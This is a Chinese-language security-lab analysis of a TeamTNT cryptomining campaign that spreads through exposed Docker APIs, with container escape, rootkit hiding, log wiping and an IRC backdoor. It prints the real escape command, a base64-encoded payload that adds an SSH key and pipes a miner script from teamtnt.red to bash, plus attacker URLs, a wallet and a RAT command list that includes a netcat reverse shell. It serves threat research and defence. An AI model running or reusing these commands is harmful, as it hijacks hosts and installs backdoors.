再次捕獲雲上在野容器攻擊,TeamTNT黑產攻擊方法揭秘
一、背景
騰訊安全雲鼎實驗室持續監控雲原生在野攻擊威脅態勢,繼DockerHub發現百萬下載量黑產映象(詳見文章DockerHub再現百萬下載量黑產映象,小心你的容器被挖礦)之後,近期實驗室最新捕獲到TeamTNT駭客團隊新型在野容器攻擊活動,相比之前TeamTNT挖礦木馬,此次新型攻擊手法對原挖礦木馬進行了升級,並利用容器環境進行感染傳播。
透過對TeamTNT新型容器攻擊樣本詳細分析,我們發現挖礦病毒是透過掃描docker remote api未授權訪問漏洞進行傳播。相比之前TeamTNT駭客團隊出的挖礦木馬,此次對原挖礦木馬進行了升級,在進行感染時使用了新的策略。入侵後會先進行清理其他挖礦,並使用新的隱藏程式方法,入侵完畢後會清理痕跡,覆蓋系統日誌以逃避排查,為增加挖礦木馬植入的成功率還有備用挖礦程式,增加木馬的穩定性,利用nohup命令不結束通話地執行挖礦,並且在使用LKM rootkit技術隱藏程式。
該樣本屬於最新版本TEAMTNT樣本,被雲鼎實驗室哨兵系統(雲上分散式蜜罐和沙箱)第一時間捕獲。本文將會使用ATT&CK矩陣溯源分析樣本在入侵、持久化、容器逃逸等完整攻擊路徑,為大家清晰還原駭客攻擊手法和全貌。
二、樣本產生時間與流行分析
樣本的開發時間大約在2021年09月14日編寫完畢,雲鼎實驗室哨兵系統在9月14號第一時間捕獲,並進行了詳細的分析。
哨兵捕獲的網路包:
樣本流行程度:
透過哨兵智慧情報統計系統,樣本在剛剛爆發的2周內較為流行,隨後感染率持續下降。
三、樣本att&ck矩陣分析
TEAMTNT的新樣本透過docker remote API傳播,過程中使用了 特權容器,容器逃逸,LKM rootkit 等先進攻擊方式,下面是對於整個攻擊過程的ATT&CK矩陣。
下圖為攻擊流程,我們將整個過程分為五個部分講解:1、初始化訪問與對外掃描 2、執行3、許可權提升-容器逃逸 4、攻擊持久化 5、防禦繞過
3.1 攻擊向量-初始訪問與橫向掃描—Remote API 漏洞:
DockerRemote API :是一個取代遠端命令列介面(rcli)的REST API,預設繫結2375埠。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感資訊洩露,駭客也可以刪除Docker上的資料。攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感資訊,或對敏感檔案進行修改,最終完全控制伺服器。
A、掃描獲取docker API版本
呼叫masscan 和 zgrab掃描目標IP,透過請求舊版本的命令,可以獲取到最新的docker API版本。
通常獲取1.16版本,會返回如下資訊:
Handler for GET /v1.16/version returned error: client version 1.16 is too old. Minimum supported API version is 1.24, please upgrade your client to a newer version
相關程式碼如下:
B、利用Remote API漏洞:
直接透過Remote API漏洞,遠端啟動傳播病毒的容器映象 alpineos/dockerapi,容器使用完成後會自動清除容器內部的檔案系統。啟動alpine 容器進行容器逃逸。
透過騰訊雲容器安全服務TCSS發現存在Remote API未授權訪問風險節點和詳細資訊:
3.2 攻擊向量-執行:
在目標機器上的命令執行透過特權容器執行惡意指令,進行挖礦和病毒傳播。
A、惡意映象alpineos/dockerapi:
經查詢,alpineos帳號註冊時間為2021年5月26日,其中alpineos/dockerapi映象更新時間為截止目前已有一個月,大約有7600臺主機被感染。
透過騰訊雲容器安全服務TCSS對該映象進行掃描,發現該映象存在木馬病毒,掃描結果如下圖:
映象啟動時會執行名為pause的指令碼,pause指令碼用於病毒的傳播。
B、映象Alpine
正規白映象,映象大小隻有5M,方便下載,teamTNT使用這個映象進行容器逃逸。
3.3攻擊向量-許可權提升----Docker逃逸:
TEAMTNT 使用的逃逸方法是特權模式+SSH
特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root許可權,而此前在容器內的root使用者只有外部物理機普通使用者的許可權。
使用特權模式啟動容器後(docker run --privileged),Docker容器被允許可以訪問主機上的所有裝置、可以獲取大量裝置檔案的訪問許可權。
TEAMTNT 病毒容器執行的逃逸命令如下:
docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine
chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'
第一步:建立特權容器
docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine
容器本身為乾淨的alpine容器。
第二步:SSH容器逃逸
在root目錄下 複製ssh金鑰到宿主機,透過訪問127.0.0.1 從而進行容器逃逸。
上述程式碼解密後如下:
逃逸後,可以在宿主機上下載moneroocean_miner.sh等指令碼進行挖礦。
3.4攻擊向量-防禦繞過----清理痕跡與程式隱藏:
在植入挖礦病毒後,會透過diamorphine.sh來隱藏程式,之後清理痕跡。
A、透過diamorphine.sh 隱藏程式:
從github.com/m0nad/Diamorphine下載安裝編譯Diamorphine,載入核心模組dia.ko。
Diamorphine是一個LKM rootkit ,功能就是 程式隱藏、模組隱藏,使用者root許可權獲取,帶有Magic-prefix 開頭的檔案和目錄隱藏。
這裡重點介紹一下 程式隱藏部分。
Rootkit初始化部分會hook getdents、getdents64 和kill 三個函式,其中被hook的kill 函式用於接受命令,進行程式隱藏、root等動作。
Hacked_kill 定義了3個引數,31 用來隱藏程式,64用來獲取root,63用來隱藏自身模組。
被hook的kill程式碼如下:
透過 for_each_process遍歷程式列表找到目標程式,把程式標誌設定為PF_INVISIBLE 從而達到隱藏程式的目標。
Find_task程式碼如下:
透過kill命令的31訊號隱藏挖礦程式(xmrig),並清理記錄
B、痕跡清理
清除命令歷史記錄:
透過刪除/bash_history 和 執行history -c 命令,清除命令歷史記錄。
清除wtmp,secure、cron 和mail 日誌。
C、ld.so.preload清理模組
ld.so.preload清理模組使用了base64編碼,解密後可以看到以下功能。
檢查/etc/ld.so.preload預載入檔案,刪除空的ld.so.preload檔案,如果ld.so.preload有預載入程式,則對其進行清理。
為了能成功刪除,重新寫了檔案刪除函式。檔案刪除函式中使用了chattr和intrecht、ichdarf三個命令,這三個命令實為同一種功能,TeamTNT駭客團隊曾經在入侵時,重新命名過系統命令。為能成功執行,系統命令和重新命名過的命令一起執行,以提高成功率。
3.5攻擊向量—持久化—釋放遠控
TEAMTNT會下載Chimaera IRC 遠控木馬,木馬沒有加殼,功能較為豐富,這裡不做過多介紹。
相關命令和描述如下圖所示:
整理後如下表所示:
Command | Description (from the binary) |
NICK <nick> | Changes the nick of the client |
SERVER <server> | Changes servers |
GETSPOOFS | Gets the current spoofing |
SPOOFS <subnet> | Changes spoofing to a subnet |
DISABLE | Disables all packeting from this client |
ENABLE | Enables all packeting from this client |
GET <http address> <save as> | Downloads a file off the web and saves it onto the hd |
UPDATE <http address> <src:bin> | Update this bot |
HACKPKG <http address> <bin name> | HackPkg is here! Install a bin, using http, no depends! |
VERSION | Requests version of client |
HELP | Displays this |
IRC <command> | Sends this command to the server |
SH <command> | Executes a command |
ISH <command> | SH, interactive, sends to channel |
SHD <command> | Executes a pseudo-daemonized command |
GETBB <tftp server> | Get a proper busybox |
INSTALL <http server/file_name> | Download & install a binary to /var/bin |
BASH <cmd> | Execute commands using bash. |
BINUPDATE <http:server/package> | Update a binary in /var/bin via wget |
SCAN <nmap options> | Call the nmap wrapper script and scan with your opts. |
RSHELL <server> <port> | Equates to nohup nc ip port -e /bin/sh |
LOCKUP <http:server> | Kill telnet, d/l aes backdoor from <server>, run that instead. |
GETSSH <http:server/dropbearmulti> | D/l, install, configure and start dropbear on port 30022 |
TOETEDENCLIENT | Kill client |
UPDATE | update |
四、挖礦部分分析
Moneroocean.sh指令碼主要用來挖礦:
更改linux最大檔案控制程式碼數的限制,以提高穩定性。並配置防火牆,放行資料包。
清理動態預載入預載入ld.preload,木馬通常使用使用此技術來隱藏木馬檔案,可以實現劫持,TeamTNT團隊的新挖礦程式,清理了此載入檔案,更換隱藏技術,並且可以排除其他挖礦程式,以達到資源獨佔。清理模組使用了base64編碼,上文有進一步分析。
清理其他部分主流挖礦域名:
還原ps命令,並清理定時任務,有些挖礦木馬存在修改系統命令:
清理痕跡,清空系統日誌,指令碼最後有呼叫。
清理其他挖礦程式,簡單粗暴判定CPU佔用65%以上的都為挖礦程式,並結束程式,以達到資源獨佔的目的。
實現下載功能,實現類似wget curl功能,用於下載wget curl:
檢查系統中是否有curl,如果沒有則從自己伺服器上下載curl程式:
下載錢包檔案,並準備兩個挖礦安裝包,其中一個為備用安裝包:
中止原有的的挖礦程式,下載新版挖礦木馬後重新命名,並解壓後刪除安裝包
檢測挖礦程式是否正常工作,如果被破壞則下載備用挖礦程式,解壓後刪除安裝包
設定挖礦密碼,把使用者錢包,密碼,礦池地址寫入配置檔案,並重新命名為“config_background.json”。
建立miner.sh指令碼,把指令碼寫入.profile,以便在登陸時在後臺執行。
修改大頁記憶體hugepages值,以提高挖礦效率。
建立挖礦服務,服務名為“SystemRaid.service”。
增加挖礦木馬的健壯性,將挖礦程式在後臺執行。
清理痕跡並透過執行diamorphine.sh來隱藏程式。
挖礦資訊總結:
礦池:dl.chimaera.cc:21582
錢包:89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq
首選挖礦程式:http://teamtnt.red/sh/bin/xmrig/x86_64/mo.tar.gz
備用挖礦程式:https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz
URL:http://teamtnt.red/sh/setup/moneroocean_miner.sh;http://teamtnt.red/sh/setup/diamorphine.sh
五、如何防禦
騰訊安全持續在容器安全上進行投入和相關研究,構建了完整的容器安全防護和服務保障體系,針對容器環境下的安全問題,騰訊雲容器安全服務透過資產管理、映象安全、執行時安全、安全基線四大核心能力來保障容器的全生命週期安全,為企業提供映象掃描、執行時安全檢測(容器逃逸、反彈shell、檔案查殺)、高階防禦(異常程式攔截、檔案篡改保護、高危系統呼叫監控)、安全基線檢測、資產管理一站式容器安全防護。容器安全服務已整合騰訊雲鼎實驗室最新容器安全情報,可第一時間檢測黑產容器映象,並針對新型在野攻擊進行有效防禦,企業可透過容器安全服務及時發現容器安全風險並快速構建容器安全防護體系。
相關文章
- 容器安全在野攻擊調查2022-03-08
- 再現在野0day攻擊--BITTER APT攻擊事件2021-03-24APT事件
- 騰訊安全釋出《容器安全在野攻擊調查》2022-03-10
- 再次捕獲!重保期間攔截針對Coremail的釣魚攻擊2022-08-05REMAI
- DDoS攻擊、CC攻擊的攻擊方式和防禦方法2019-02-27
- 從一條微博揭秘"專黑大V名人"的定向攻擊2020-08-19
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?2023-02-13
- SQL隱碼攻擊方法2024-07-08SQL
- BTG(bitcoin gold)受到51%攻擊,攻擊者利用雙重支付獲利2018-07-11Go
- iconv 攻擊2024-11-27
- CSRF 攻擊2024-10-05
- 口令攻擊2024-10-04
- CSRF攻擊2024-05-17
- 攻擊性2024-03-26
- DDos攻擊2022-05-09
- 模板攻擊2021-04-04
- Dos攻擊2018-06-07
- DDoS攻擊頻發,科普防禦DDoS攻擊的幾大有效方法2023-11-22
- 瑞星:“雲攻擊”已成現實2019-05-13
- 黑產godlike攻擊: 郵箱 XSS 竊取 appleID 的案例分析2020-08-19GoAPP
- 對抗攻擊方法一覽2022-04-08
- TARA攻擊樹分析方法論2022-03-21
- 常見的HTTPS攻擊方法2020-08-19HTTP
- 如何有效防禦DDoS攻擊和CC攻擊?2023-12-27
- 攻擊面管理預防網路攻擊原理?2022-02-22
- 網路攻擊中主動攻擊和被動攻擊有什麼區別?2022-03-16
- 進擊的“8220”!深信服捕獲8220挖礦團伙使用最新Confluence高危漏洞發起攻擊2022-07-09
- CC攻擊的原理是什麼?防禦CC攻擊的方法有哪些?2022-11-15
- 【技術乾貨】XSS攻擊、CSRF攻擊基本概念及防範方法2022-04-01
- XSS攻擊和CSRF攻擊有什麼區別?2024-01-29
- 什麼是CSRF攻擊?如何防禦CSRF攻擊?2023-02-17
- 什麼是SSRF攻擊?如何防禦SSRF攻擊?2023-03-07
- 什麼是DDoS攻擊?如何防範DDoS攻擊?2023-04-04
- 什麼是XSS攻擊?其攻擊原理有哪些?2023-03-10
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]2020-08-19JavaWebSQL
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]2020-08-19JavaWebSQL
- DHDiscover反射攻擊:可將攻擊放大近200倍2020-11-05反射
- 什麼是重放攻擊與中間人攻擊?2020-10-17